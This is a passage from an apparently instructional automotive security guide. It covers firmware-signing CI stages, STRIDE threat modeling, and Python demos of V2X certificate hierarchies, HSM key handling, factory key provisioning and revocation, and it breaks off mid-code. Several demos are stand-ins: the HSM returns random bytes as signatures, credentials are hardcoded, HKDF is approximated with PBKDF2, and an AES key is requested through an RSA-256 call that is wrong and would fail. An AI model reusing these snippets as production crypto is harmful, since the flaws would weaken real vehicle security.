- echo \"Running tests with AddressSanitizer...\"\n    - make clean\n    - make CFLAGS=\"-fsanitize=address -fno-omit-frame-pointer -g\"\n    - .\u002Frun_tests.sh\n  dependencies:\n    - build_secure\n\n# Stage 6: Code signing\nsign_firmware:\n  stage: deploy\n  script:\n    - echo \"Signing firmware with HSM key...\"\n    - openssl dgst -sha256 -sign \u002Fsecure\u002Fprivate_key.pem -out bin\u002Ffirmware.sig bin\u002Ffirmware.bin\n    - echo \"Firmware signed successfully\"\n  dependencies:\n    - build_secure\n    - static_analysis\n    - fuzz_testing\n  artifacts:\n    paths:\n      - bin\u002Ffirmware.bin\n      - bin\u002Ffirmware.sig\n  only:\n    - main\n    - release\u002F*\n```\n\n## Threat Modeling (STRIDE)\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nSTRIDE Threat Modeling for Automotive Systems\nSystematic identification of security threats\n\"\"\"\n\nfrom enum import Enum\nfrom dataclasses import dataclass\nfrom typing import List\n\nclass ThreatCategory(Enum):\n    SPOOFING = \"Spoofing\"\n    TAMPERING = \"Tampering\"\n    REPUDIATION = \"Repudiation\"\n    INFORMATION_DISCLOSURE = \"Information Disclosure\"\n    DENIAL_OF_SERVICE = \"Denial of Service\"\n    ELEVATION_OF_PRIVILEGE = \"Elevation of Privilege\"\n\n@dataclass\nclass Threat:\n    category: ThreatCategory\n    description: str\n    asset: str\n    mitigation: str\n    severity: str  # \"Critical\", \"High\", \"Medium\", \"Low\"\n\nclass STRIDEThreatModeler:\n    \"\"\"STRIDE threat modeling tool\"\"\"\n\n    def __init__(self, system_name: str):\n        self.system_name = system_name\n        self.threats = []\n\n    def model_data_flow(self, source: str, destination: str, protocol: str):\n        \"\"\"Model threats in data flow\"\"\"\n        print(f\"\\n=== Threat Modeling: {source} -> {destination} ({protocol}) ===\")\n\n        # Spoofing\n        self.threats.append(Threat(\n            category=ThreatCategory.SPOOFING,\n            description=f\"Attacker impersonates {source} to send malicious data to {destination}\",\n            asset=f\"Data flow: {source} -> {destination}\",\n            mitigation=\"Implement message authentication (MAC\u002Fdigital signature)\",\n            severity=\"High\"\n        ))\n\n        # Tampering\n        self.threats.append(Threat(\n            category=ThreatCategory.TAMPERING,\n            description=f\"Attacker modifies data in transit from {source} to {destination}\",\n            asset=f\"Data flow: {source} -> {destination}\",\n            mitigation=\"Implement data integrity checks (HMAC, CRC with authentication)\",\n            severity=\"High\"\n        ))\n\n        # Information Disclosure\n        self.threats.append(Threat(\n            category=ThreatCategory.INFORMATION_DISCLOSURE,\n            description=f\"Attacker eavesdrops on {protocol} communication\",\n            asset=f\"Data flow: {source} -> {destination}\",\n            mitigation=\"Implement encryption (TLS 1.3, AES-256-GCM)\",\n            severity=\"Medium\" if \"telemetry\" in source.lower() else \"High\"\n        ))\n\n        # Denial of Service\n        self.threats.append(Threat(\n            category=ThreatCategory.DENIAL_OF_SERVICE,\n            description=f\"Attacker floods {protocol} channel to prevent legitimate communication\",\n            asset=f\"Data flow: {source} -> {destination}\",\n            mitigation=\"Implement rate limiting and traffic shaping\",\n            severity=\"Medium\"\n        ))\n\n    def generate_threat_report(self, output_file: str):\n        \"\"\"Generate threat model report\"\"\"\n        with open(output_file, 'w') as f:\n            f.write(f\"STRIDE Threat Model Report: {self.system_name}\\n\")\n            f.write(\"=\" * 60 + \"\\n\\n\")\n\n            # Group by severity\n            critical = [t for t in self.threats if t.severity == \"Critical\"]\n            high = [t for t in self.threats if t.severity == \"High\"]\n            medium = [t for t in self.threats if t.severity == \"Medium\"]\n            low = [t for t in self.threats if t.severity == \"Low\"]\n\n            f.write(f\"Total threats identified: {len(self.threats)}\\n\")\n            f.write(f\"  Critical: {len(critical)}\\n\")\n            f.write(f\"  High: {len(high)}\\n\")\n            f.write(f\"  Medium: {len(medium)}\\n\")\n            f.write(f\"  Low: {len(low)}\\n\\n\")\n\n            # Detail threats\n            for threat in self.threats:\n                f.write(f\"\\n[{threat.severity}] {threat.category.value}\\n\")\n                f.write(f\"  Description: {threat.description}\\n\")\n                f.write(f\"  Asset: {threat.asset}\\n\")\n                f.write(f\"  Mitigation: {threat.mitigation}\\n\")\n\n        print(f\"[INFO] Threat model report: {output_file}\")\n\n# Example usage\nif __name__ == \"__main__\":\n    modeler = STRIDEThreatModeler(\"Telematics Control Unit (TCU)\")\n\n    # Model data flows\n    modeler.model_data_flow(\"TCU\", \"Cloud Backend\", \"HTTPS\u002FTLS\")\n    modeler.model_data_flow(\"TCU\", \"Gateway ECU\", \"CAN\")\n    modeler.model_data_flow(\"Mobile App\", \"TCU\", \"Bluetooth LE\")\n\n    # Generate report\n    modeler.generate_threat_report(\"\u002Ftmp\u002Fstride_threat_model.txt\")\n```\n\n## Best Practices\n\n1. **Defense in Depth**: Multiple security layers (code quality + runtime protection + monitoring)\n2. **Shift Left**: Integrate security early in SDLC (design phase threat modeling)\n3. **Automated Enforcement**: CI\u002FCD gates for MISRA compliance, static analysis, fuzzing\n4. **Continuous Monitoring**: Track new CVEs, update dependencies, patch promptly\n5. **Security Training**: Mandatory secure coding training for all developers\n\n## References\n\n- MISRA C:2012 Guidelines for C\n- CERT C Secure Coding Standard\n- AUTOSAR C++14 Coding Guidelines\n- OWASP Secure Coding Practices\n- ISO\u002FSAE 21434: Cybersecurity Engineering\n\n---\n\n## Vehicle Pki Crypto\n\n# Vehicle PKI & Cryptography Skill\n\n## Overview\n\nExpert skill for implementing PKI (Public Key Infrastructure) in automotive systems. Covers V2X certificate management, HSM key storage, cryptographic algorithms (AES-256, RSA-4096, ECDSA), secure key provisioning, and certificate lifecycle management.\n\n## Core Competencies\n\n### PKI Architecture\n- **Certificate Authority (CA) Hierarchy**: Root CA → Enrollment CA → Pseudonym CA\n- **V2X Certificates**: IEEE 1609.2, ETSI TS 103 097 standards\n- **Certificate Provisioning**: Factory provisioning, enrollment protocols\n- **Certificate Lifecycle**: Issuance, renewal, revocation (CRL\u002FOCSP)\n- **HSM Integration**: Secure key generation and storage\n\n### Cryptographic Standards\n- **Symmetric**: AES-256-GCM, ChaCha20-Poly1305\n- **Asymmetric**: RSA-4096, ECDSA-P256\u002FP384, EdDSA\n- **Hash**: SHA-256, SHA-384, SHA-3\n- **Key Exchange**: ECDH, X25519\n- **TLS**: TLS 1.3 with perfect forward secrecy\n\n## V2X PKI Implementation (IEEE 1609.2)\n\n### Certificate Structure\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nIEEE 1609.2 V2X Certificate Implementation\nSupports US (SCMS) and EU (CCMS) PKI architectures\n\"\"\"\n\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID, ExtensionOID\nfrom datetime import datetime, timedelta\nimport struct\n\nclass V2XCertificate:\n    \"\"\"IEEE 1609.2 Certificate for V2V\u002FV2I communication\"\"\"\n\n    def __init__(self, cert_type: str):\n        \"\"\"\n        Initialize V2X certificate\n        cert_type: \"enrollment\", \"application\", \"pseudonym\"\n        \"\"\"\n        self.cert_type = cert_type\n        self.private_key = None\n        self.certificate = None\n        self.cert_chain = []\n\n    def generate_enrollment_certificate(self, ca_cert, ca_key, vehicle_id: str):\n        \"\"\"\n        Generate long-term enrollment certificate (valid 3-5 years)\n        Used to request pseudonym certificates from PCA\n        \"\"\"\n        print(f\"\\n=== Generating Enrollment Certificate for {vehicle_id} ===\")\n\n        # Generate key pair (ECDSA P-256 for V2X)\n        self.private_key = ec.generate_private_key(ec.SECP256R1(), default_backend())\n\n        subject = x509.Name([\n            x509.NameAttribute(NameOID.COUNTRY_NAME, \"US\"),\n            x509.NameAttribute(NameOID.ORGANIZATION_NAME, \"SCMS\"),\n            x509.NameAttribute(NameOID.ORGANIZATIONAL_UNIT_NAME, \"Enrollment\"),\n            x509.NameAttribute(NameOID.COMMON_NAME, vehicle_id),\n        ])\n\n        # Certificate valid for 3 years\n        valid_from = datetime.utcnow()\n        valid_to = valid_from + timedelta(days=3*365)\n\n        builder = x509.CertificateBuilder()\n        builder = builder.subject_name(subject)\n        builder = builder.issuer_name(ca_cert.subject)\n        builder = builder.public_key(self.private_key.public_key())\n        builder = builder.serial_number(x509.random_serial_number())\n        builder = builder.not_valid_before(valid_from)\n        builder = builder.not_valid_after(valid_to)\n\n        # Add extensions\n        builder = builder.add_extension(\n            x509.BasicConstraints(ca=False, path_length=None),\n            critical=True\n        )\n\n        builder = builder.add_extension(\n            x509.KeyUsage(\n                digital_signature=True,\n                key_encipherment=True,\n                content_commitment=False,\n                data_encipherment=False,\n                key_agreement=False,\n                key_cert_sign=False,\n                crl_sign=False,\n                encipher_only=False,\n                decipher_only=False,\n            ),\n            critical=True\n        )\n\n        # Sign certificate\n        self.certificate = builder.sign(ca_key, hashes.SHA256(), default_backend())\n\n        print(f\"[INFO] Enrollment certificate generated\")\n        print(f\"[INFO] Serial: {self.certificate.serial_number}\")\n        print(f\"[INFO] Valid: {valid_from} to {valid_to}\")\n        print(f\"[INFO] Subject: {vehicle_id}\")\n\n        return self.certificate\n\n    def generate_pseudonym_certificate(self, pca_cert, pca_key, duration_weeks: int = 1):\n        \"\"\"\n        Generate short-term pseudonym certificate (valid 1 week)\n        Used for actual V2X communication to preserve privacy\n        \"\"\"\n        print(f\"\\n=== Generating Pseudonym Certificate (valid {duration_weeks} weeks) ===\")\n\n        # Generate ephemeral key pair\n        self.private_key = ec.generate_private_key(ec.SECP256R1(), default_backend())\n\n        # Pseudonym certificates use opaque identifiers, not vehicle ID\n        pseudonym_id = f\"PSID-{x509.random_serial_number():016X}\"\n\n        subject = x509.Name([\n            x509.NameAttribute(NameOID.COUNTRY_NAME, \"US\"),\n            x509.NameAttribute(NameOID.ORGANIZATION_NAME, \"SCMS\"),\n            x509.NameAttribute(NameOID.ORGANIZATIONAL_UNIT_NAME, \"Pseudonym\"),\n            x509.NameAttribute(NameOID.COMMON_NAME, pseudonym_id),\n        ])\n\n        valid_from = datetime.utcnow()\n        valid_to = valid_from + timedelta(weeks=duration_weeks)\n\n        builder = x509.CertificateBuilder()\n        builder = builder.subject_name(subject)\n        builder = builder.issuer_name(pca_cert.subject)\n        builder = builder.public_key(self.private_key.public_key())\n        builder = builder.serial_number(x509.random_serial_number())\n        builder = builder.not_valid_before(valid_from)\n        builder = builder.not_valid_after(valid_to)\n\n        # Add V2X-specific extensions\n        builder = builder.add_extension(\n            x509.BasicConstraints(ca=False, path_length=None),\n            critical=True\n        )\n\n        # Application permissions (Service-Specific Permissions)\n        # Example: CAM (Cooperative Awareness Message), DENM (Decentralized Environmental Notification)\n        # Real implementation would use IEEE 1609.2 ASN.1 structures\n        builder = builder.add_extension(\n            x509.UnrecognizedExtension(\n                x509.ObjectIdentifier(\"1.2.840.10045.2.1\"),  # Example OID\n                b'\\x01\\x02\\x03\\x04'  # SSP bitmask\n            ),\n            critical=False\n        )\n\n        self.certificate = builder.sign(pca_key, hashes.SHA256(), default_backend())\n\n        print(f\"[INFO] Pseudonym certificate generated\")\n        print(f\"[INFO] Serial: {self.certificate.serial_number}\")\n        print(f\"[INFO] PSID: {pseudonym_id}\")\n        print(f\"[INFO] Valid: {valid_from} to {valid_to}\")\n\n        return self.certificate\n\n    def export_certificate_chain(self, output_path: str):\n        \"\"\"Export certificate with full chain in PEM format\"\"\"\n        with open(output_path, 'wb') as f:\n            # Leaf certificate\n            f.write(self.certificate.public_bytes(serialization.Encoding.PEM))\n\n            # Intermediate certificates\n            for cert in self.cert_chain:\n                f.write(cert.public_bytes(serialization.Encoding.PEM))\n\n        print(f\"[INFO] Certificate chain exported: {output_path}\")\n\n    def export_private_key_encrypted(self, output_path: str, password: bytes):\n        \"\"\"Export private key with encryption (for backup only - HSM preferred)\"\"\"\n        pem = self.private_key.private_bytes(\n            encoding=serialization.Encoding.PEM,\n            format=serialization.PrivateFormat.PKCS8,\n            encryption_algorithm=serialization.BestAvailableEncryption(password)\n        )\n\n        with open(output_path, 'wb') as f:\n            f.write(pem)\n\n        print(f\"[WARN] Private key exported (encrypted): {output_path}\")\n        print(f\"[WARN] Store in HSM for production use\")\n\n\nclass V2XPKIManager:\n    \"\"\"Manage V2X PKI infrastructure\"\"\"\n\n    def __init__(self):\n        self.root_ca_cert = None\n        self.root_ca_key = None\n        self.enrollment_ca_cert = None\n        self.enrollment_ca_key = None\n        self.pseudonym_ca_cert = None\n        self.pseudonym_ca_key = None\n\n    def create_root_ca(self, common_name: str = \"V2X Root CA\"):\n        \"\"\"Create root CA (offline, air-gapped storage)\"\"\"\n        print(f\"\\n=== Creating Root CA: {common_name} ===\")\n\n        # Generate RSA-4096 key (root CA uses RSA for broader compatibility)\n        from cryptography.hazmat.primitives.asymmetric import rsa\n        self.root_ca_key = rsa.generate_private_key(\n            public_exponent=65537,\n            key_size=4096,\n            backend=default_backend()\n        )\n\n        subject = issuer = x509.Name([\n            x509.NameAttribute(NameOID.COUNTRY_NAME, \"US\"),\n            x509.NameAttribute(NameOID.ORGANIZATION_NAME, \"SCMS\"),\n            x509.NameAttribute(NameOID.ORGANIZATIONAL_UNIT_NAME, \"Root CA\"),\n            x509.NameAttribute(NameOID.COMMON_NAME, common_name),\n        ])\n\n        valid_from = datetime.utcnow()\n        valid_to = valid_from + timedelta(days=20*365)  # 20 years\n\n        builder = x509.CertificateBuilder()\n        builder = builder.subject_name(subject)\n        builder = builder.issuer_name(issuer)\n        builder = builder.public_key(self.root_ca_key.public_key())\n        builder = builder.serial_number(x509.random_serial_number())\n        builder = builder.not_valid_before(valid_from)\n        builder = builder.not_valid_after(valid_to)\n\n        builder = builder.add_extension(\n            x509.BasicConstraints(ca=True, path_length=2),\n            critical=True\n        )\n\n        builder = builder.add_extension(\n            x509.KeyUsage(\n                digital_signature=False,\n                key_encipherment=False,\n                content_commitment=False,\n                data_encipherment=False,\n                key_agreement=False,\n                key_cert_sign=True,\n                crl_sign=True,\n                encipher_only=False,\n                decipher_only=False,\n            ),\n            critical=True\n        )\n\n        self.root_ca_cert = builder.sign(self.root_ca_key, hashes.SHA256(), default_backend())\n\n        print(f\"[INFO] Root CA created\")\n        print(f\"[INFO] Valid for 20 years\")\n        print(f\"[WARN] Store root CA private key in air-gapped HSM\")\n\n        return self.root_ca_cert\n\n    def create_intermediate_ca(self, ca_type: str, common_name: str):\n        \"\"\"Create intermediate CA (Enrollment CA or Pseudonym CA)\"\"\"\n        print(f\"\\n=== Creating {ca_type} CA: {common_name} ===\")\n\n        # Generate ECDSA P-384 key (intermediate CAs use ECC)\n        ca_key = ec.generate_private_key(ec.SECP384R1(), default_backend())\n\n        subject = x509.Name([\n            x509.NameAttribute(NameOID.COUNTRY_NAME, \"US\"),\n            x509.NameAttribute(NameOID.ORGANIZATION_NAME, \"SCMS\"),\n            x509.NameAttribute(NameOID.ORGANIZATIONAL_UNIT_NAME, ca_type),\n            x509.NameAttribute(NameOID.COMMON_NAME, common_name),\n        ])\n\n        valid_from = datetime.utcnow()\n        valid_to = valid_from + timedelta(days=10*365)  # 10 years\n\n        builder = x509.CertificateBuilder()\n        builder = builder.subject_name(subject)\n        builder = builder.issuer_name(self.root_ca_cert.subject)\n        builder = builder.public_key(ca_key.public_key())\n        builder = builder.serial_number(x509.random_serial_number())\n        builder = builder.not_valid_before(valid_from)\n        builder = builder.not_valid_after(valid_to)\n\n        builder = builder.add_extension(\n            x509.BasicConstraints(ca=True, path_length=0),\n            critical=True\n        )\n\n        builder = builder.add_extension(\n            x509.KeyUsage(\n                digital_signature=False,\n                key_encipherment=False,\n                content_commitment=False,\n                data_encipherment=False,\n                key_agreement=False,\n                key_cert_sign=True,\n                crl_sign=True,\n                encipher_only=False,\n                decipher_only=False,\n            ),\n            critical=True\n        )\n\n        ca_cert = builder.sign(self.root_ca_key, hashes.SHA256(), default_backend())\n\n        if ca_type == \"Enrollment\":\n            self.enrollment_ca_cert = ca_cert\n            self.enrollment_ca_key = ca_key\n        elif ca_type == \"Pseudonym\":\n            self.pseudonym_ca_cert = ca_cert\n            self.pseudonym_ca_key = ca_key\n\n        print(f\"[INFO] {ca_type} CA created\")\n        print(f\"[INFO] Valid for 10 years\")\n\n        return ca_cert, ca_key\n\n# Example usage\ndef demo_v2x_pki():\n    # Step 1: Create PKI hierarchy\n    pki = V2XPKIManager()\n    pki.create_root_ca(\"V2X SCMS Root CA\")\n    pki.create_intermediate_ca(\"Enrollment\", \"V2X Enrollment CA\")\n    pki.create_intermediate_ca(\"Pseudonym\", \"V2X Pseudonym CA\")\n\n    # Step 2: Vehicle enrollment\n    vehicle = V2XCertificate(\"enrollment\")\n    enrollment_cert = vehicle.generate_enrollment_certificate(\n        pki.enrollment_ca_cert,\n        pki.enrollment_ca_key,\n        vehicle_id=\"VIN-1HGBH41JXMN109186\"\n    )\n\n    vehicle.export_certificate_chain(\"\u002Ftmp\u002Fvehicle_enrollment.pem\")\n    vehicle.export_private_key_encrypted(\"\u002Ftmp\u002Fvehicle_enrollment.key\", b\"SecurePassword123\")\n\n    # Step 3: Request pseudonym certificates (batch of 20)\n    print(\"\\n=== Requesting Pseudonym Certificate Batch ===\")\n    pseudonyms = []\n    for i in range(20):\n        psid_cert = V2XCertificate(\"pseudonym\")\n        psid_cert.generate_pseudonym_certificate(\n            pki.pseudonym_ca_cert,\n            pki.pseudonym_ca_key,\n            duration_weeks=1\n        )\n        pseudonyms.append(psid_cert)\n\n    print(f\"[INFO] {len(pseudonyms)} pseudonym certificates generated\")\n    print(f\"[INFO] Vehicle will rotate certificates weekly for privacy\")\n\nif __name__ == \"__main__\":\n    demo_v2x_pki()\n```\n\n## HSM Integration for Key Storage\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nHSM (Hardware Security Module) Integration\nSecure key generation and cryptographic operations\nSupports PKCS#11 interface (common in automotive HSMs)\n\"\"\"\n\nimport os\nfrom cryptography.hazmat.primitives.asymmetric import rsa, ec\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.backends import default_backend\n\nclass HSMInterface:\n    \"\"\"Interface to Hardware Security Module via PKCS#11\"\"\"\n\n    def __init__(self, hsm_slot: int = 0, pin: str = \"1234\"):\n        \"\"\"\n        Initialize HSM connection\n        hsm_slot: Hardware slot ID (0-based)\n        pin: User PIN for authentication\n        \"\"\"\n        self.slot = hsm_slot\n        self.pin = pin\n        self.session = None\n\n        print(f\"=== HSM Initialization ===\")\n        print(f\"[INFO] Slot: {hsm_slot}\")\n\n    def open_session(self):\n        \"\"\"Open HSM session\"\"\"\n        # Real implementation would use PyKCS11 or python-pkcs11\n        # Simulated for demonstration\n        print(f\"[INFO] Opening HSM session (Slot {self.slot})...\")\n        print(f\"[INFO] Authenticating with PIN...\")\n        self.session = f\"HSM_SESSION_{self.slot}\"\n        print(f\"[PASS] HSM session opened\")\n        return True\n\n    def generate_rsa_keypair(self, key_label: str, key_size: int = 4096, exportable: bool = False):\n        \"\"\"\n        Generate RSA key pair in HSM\n        key_label: Unique identifier for key\n        key_size: 2048, 3072, or 4096\n        exportable: Allow private key export (FALSE for production)\n        \"\"\"\n        print(f\"\\n=== Generating RSA-{key_size} Key Pair in HSM ===\")\n        print(f\"[INFO] Label: {key_label}\")\n        print(f\"[WARN] Exportable: {exportable}\")\n\n        if exportable:\n            print(f\"[WARN] Exportable keys are security risk - use only for testing\")\n\n        # In real HSM:\n        # - Key generation happens inside tamper-resistant hardware\n        # - Private key never leaves HSM\n        # - Only public key and key handle are returned\n\n        # Simulate key generation\n        private_key = rsa.generate_private_key(\n            public_exponent=65537,\n            key_size=key_size,\n            backend=default_backend()\n        )\n\n        public_key = private_key.public_key()\n\n        # Return key handle (not actual key)\n        key_handle = f\"HSM_KEY_{key_label}_{os.urandom(4).hex()}\"\n\n        print(f\"[PASS] RSA key pair generated\")\n        print(f\"[INFO] Key handle: {key_handle}\")\n        print(f\"[INFO] Public key available for export\")\n        print(f\"[INFO] Private key secured in HSM (non-exportable)\")\n\n        return key_handle, public_key\n\n    def generate_ecc_keypair(self, key_label: str, curve: str = \"P-256\", exportable: bool = False):\n        \"\"\"\n        Generate ECC key pair in HSM\n        curve: \"P-256\", \"P-384\", or \"P-521\"\n        \"\"\"\n        print(f\"\\n=== Generating ECC-{curve} Key Pair in HSM ===\")\n        print(f\"[INFO] Label: {key_label}\")\n\n        curve_map = {\n            \"P-256\": ec.SECP256R1(),\n            \"P-384\": ec.SECP384R1(),\n            \"P-521\": ec.SECP521R1()\n        }\n\n        private_key = ec.generate_private_key(curve_map[curve], default_backend())\n        public_key = private_key.public_key()\n\n        key_handle = f\"HSM_KEY_{key_label}_{os.urandom(4).hex()}\"\n\n        print(f\"[PASS] ECC key pair generated\")\n        print(f\"[INFO] Key handle: {key_handle}\")\n\n        return key_handle, public_key\n\n    def sign_data(self, key_handle: str, data: bytes, algorithm: str = \"SHA256\") -> bytes:\n        \"\"\"\n        Sign data using HSM-stored private key\n        Returns signature without exposing private key\n        \"\"\"\n        print(f\"\\n=== HSM Signing Operation ===\")\n        print(f\"[INFO] Key handle: {key_handle}\")\n        print(f\"[INFO] Algorithm: {algorithm}\")\n        print(f\"[INFO] Data size: {len(data)} bytes\")\n\n        # In real HSM:\n        # - Data is sent to HSM\n        # - HSM performs signature operation internally\n        # - Only signature is returned\n\n        # Simulate signing\n        signature = os.urandom(512)  # RSA-4096 signature size\n\n        print(f\"[PASS] Signature generated ({len(signature)} bytes)\")\n        return signature\n\n    def encrypt_data(self, key_handle: str, plaintext: bytes) -> bytes:\n        \"\"\"Encrypt data using HSM key\"\"\"\n        print(f\"\\n=== HSM Encryption Operation ===\")\n        print(f\"[INFO] Key handle: {key_handle}\")\n        print(f\"[INFO] Plaintext size: {len(plaintext)} bytes\")\n\n        # Simulate AES-256-GCM encryption in HSM\n        ciphertext = os.urandom(len(plaintext) + 16)  # +16 for GCM tag\n\n        print(f\"[PASS] Data encrypted ({len(ciphertext)} bytes)\")\n        return ciphertext\n\n    def export_public_key(self, key_handle: str, output_path: str):\n        \"\"\"Export public key (private key remains in HSM)\"\"\"\n        print(f\"\\n=== Exporting Public Key ===\")\n        print(f\"[INFO] Key handle: {key_handle}\")\n\n        # Simulate public key export\n        dummy_key = rsa.generate_private_key(65537, 4096, default_backend()).public_key()\n\n        pem = dummy_key.public_bytes(\n            encoding=serialization.Encoding.PEM,\n            format=serialization.PublicFormat.SubjectPublicKeyInfo\n        )\n\n        with open(output_path, 'wb') as f:\n            f.write(pem)\n\n        print(f\"[PASS] Public key exported: {output_path}\")\n        print(f\"[INFO] Private key remains secured in HSM\")\n\n    def close_session(self):\n        \"\"\"Close HSM session\"\"\"\n        print(f\"\\n[INFO] Closing HSM session...\")\n        self.session = None\n        print(f\"[PASS] HSM session closed\")\n\n\n# Example: Secure key provisioning flow\ndef demo_hsm_provisioning():\n    hsm = HSMInterface(hsm_slot=0, pin=\"123456\")\n    hsm.open_session()\n\n    # Generate enrollment key pair (long-term, non-exportable)\n    enrollment_key_handle, enrollment_pubkey = hsm.generate_ecc_keypair(\n        key_label=\"VEHICLE_ENROLLMENT_KEY\",\n        curve=\"P-256\",\n        exportable=False\n    )\n\n    # Export public key for CA signing\n    hsm.export_public_key(enrollment_key_handle, \"\u002Ftmp\u002Fenrollment_pubkey.pem\")\n\n    # Generate firmware signing key (OEM root of trust)\n    fw_signing_key_handle, fw_pubkey = hsm.generate_rsa_keypair(\n        key_label=\"OEM_FIRMWARE_SIGNING_KEY\",\n        key_size=4096,\n        exportable=False\n    )\n\n    # Sign firmware image\n    firmware_data = b\"FIRMWARE_IMAGE_BINARY_DATA\" * 1000\n    signature = hsm.sign_data(fw_signing_key_handle, firmware_data, algorithm=\"SHA256\")\n\n    # Generate symmetric key for data encryption\n    aes_key_handle, _ = hsm.generate_rsa_keypair(\n        key_label=\"DATA_ENCRYPTION_KEY\",\n        key_size=256,  # Actually AES-256, not RSA\n        exportable=False\n    )\n\n    # Encrypt telemetry data\n    telemetry_data = b\"VEHICLE_TELEMETRY_JSON_DATA\"\n    encrypted = hsm.encrypt_data(aes_key_handle, telemetry_data)\n\n    hsm.close_session()\n\nif __name__ == \"__main__\":\n    demo_hsm_provisioning()\n```\n\n## Secure Key Provisioning (Factory)\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nSecure Key Provisioning for Vehicle Manufacturing\nKeys injected during production in secure facility\n\"\"\"\n\nimport secrets\nimport hashlib\nfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.backends import default_backend\n\nclass SecureKeyProvisioning:\n    \"\"\"Factory key injection system\"\"\"\n\n    def __init__(self):\n        self.master_key = None\n        self.provisioned_devices = {}\n\n    def load_master_key(self, master_key_path: str):\n        \"\"\"Load factory master key (HSM-backed)\"\"\"\n        print(\"=== Loading Factory Master Key ===\")\n        # In production: master key stored in HSM, never exported\n        self.master_key = secrets.token_bytes(32)  # AES-256\n        print(\"[INFO] Master key loaded from HSM\")\n\n    def derive_device_key(self, vin: str) -> bytes:\n        \"\"\"Derive unique device key from VIN using KDF\"\"\"\n        print(f\"\\n=== Deriving Device Key for VIN: {vin} ===\")\n\n        # HKDF (HMAC-based Key Derivation Function)\n        salt = b\"VEHICLE_KEY_DERIVATION_SALT\"\n        info = vin.encode('utf-8')\n\n        # Simplified HKDF (use cryptography.hazmat.primitives.kdf.hkdf in production)\n        prk = hashlib.pbkdf2_hmac('sha256', self.master_key, salt, 100000)\n        okm = hashlib.pbkdf2_hmac('sha256', prk, info, 1)[:32]\n\n        print(f\"[INFO] Device key derived (32 bytes)\")\n        return okm\n\n    def provision_vehicle(self, vin: str, ecu_serial: str):\n        \"\"\"Provision cryptographic keys to vehicle ECU\"\"\"\n        print(f\"\\n=== Vehicle Key Provisioning ===\")\n        print(f\"[INFO] VIN: {vin}\")\n        print(f\"[INFO] ECU Serial: {ecu_serial}\")\n\n        # Derive unique device key\n        device_key = self.derive_device_key(vin)\n\n        # Generate enrollment private key\n        from cryptography.hazmat.primitives.asymmetric import ec\n        enrollment_key = ec.generate_private_key(ec.SECP256R1(), default_backend())\n\n        # Encrypt private key with device key (for secure storage in ECU flash)\n        encrypted_key = self._encrypt_key(enrollment_key, device_key)\n\n        # Program to ECU secure storage\n        provisioning_data = {\n            \"vin\": vin,\n            \"ecu_serial\": ecu_serial,\n            \"device_key_hash\": hashlib.sha256(device_key).hexdigest(),\n            \"encrypted_enrollment_key\": encrypted_key.hex(),\n            \"provisioning_timestamp\": \"2026-03-19T12:00:00Z\"\n        }\n\n        self.provisioned_devices[vin] = provisioning_data\n\n        print(f\"[PASS] Vehicle provisioned successfully\")\n        print(f\"[INFO] Keys stored in ECU secure flash\")\n\n        return provisioning_data\n\n    def _encrypt_key(self, private_key, device_key: bytes) -> bytes:\n        \"\"\"Encrypt private key with device key using AES-256-GCM\"\"\"\n        from cryptography.hazmat.primitives import serialization\n\n        # Serialize private key\n        key_bytes = private_key.private_bytes(\n            encoding=serialization.Encoding.DER,\n            format=serialization.PrivateFormat.PKCS8,\n            encryption_algorithm=serialization.NoEncryption()\n        )\n\n        # Encrypt with AES-256-GCM\n        iv = secrets.token_bytes(12)\n        cipher = Cipher(\n            algorithms.AES(device_key),\n            modes.GCM(iv),\n            backend=default_backend()\n        )\n        encryptor = cipher.encryptor()\n        ciphertext = encryptor.update(key_bytes) + encryptor.finalize()\n\n        # Return IV + ciphertext + tag\n        return iv + ciphertext + encryptor.tag\n\n# Example usage\ndef demo_factory_provisioning():\n    provisioner = SecureKeyProvisioning()\n    provisioner.load_master_key(\"\u002Fsecure\u002Fmaster_key.bin\")\n\n    # Provision 3 vehicles\n    vins = [\n        \"1HGBH41JXMN109186\",\n        \"5YJSA1E26HF123456\",\n        \"WBAJE5C59HG987654\"\n    ]\n\n    for i, vin in enumerate(vins):\n        provisioner.provision_vehicle(vin, f\"ECU-TCU-{1000 + i}\")\n\n    print(f\"\\n=== Provisioning Complete ===\")\n    print(f\"[INFO] {len(provisioner.provisioned_devices)} vehicles provisioned\")\n\nif __name__ == \"__main__\":\n    demo_factory_provisioning()\n```\n\n## Certificate Revocation (CRL\u002FOCSP)\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nCertificate Revocation List (CRL) and OCSP Implementation\n\"\"\"\n\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.x509.oid import ExtensionOID\nfrom datetime import datetime, timedelta\n\nclass CertificateRevocationManager:\n    \"\"\"Manage certificate revocation for V2X PKI\"\"\"\n\n    def __init__(self, ca_cert, ca_key):\n        self.ca_cert = ca_cert\n        self.ca_key = ca_key\n        self.revoked_certs = []\n\n    def revoke_certificate(self, cert_serial: int, reason: str = \"unspecified\"):\n        \"\"\"Add certificate to revocation list\"\"\"\n        print(f\"\\n=== Revoking Certificate ===\")\n        print(f\"[INFO] Serial: {cert_serial}\")\n        print(f\"[INFO] Reason: {reason}\")\n\n        revocation_date = datetime.utcnow()\n\n        revoked_cert = x509.RevokedCertificateBuilder().serial_number(\n            cert_serial\n        ).revocation_date(\n            revocation_date\n        ).add_extension(\n            x509.CRLReason(x509.ReasonFlags[reason]),\n            critical=False\n        ).build(default_backend())\n\n        self.revoked_certs.append(revoked_cert)\n\n        print(f\"[PASS] Certificate revoked\")\n\n    def generate_crl(self, output_path: str):\n        \"\"\"Generate Certificate Revocation List\"\"\"\n        print(f\"\\n=== Generating CRL ===\")\n\n        builder = x509.CertificateRevocationListBuilder()\n        builder = builder.issuer_name(self.ca_cert.subject)\n        builder = 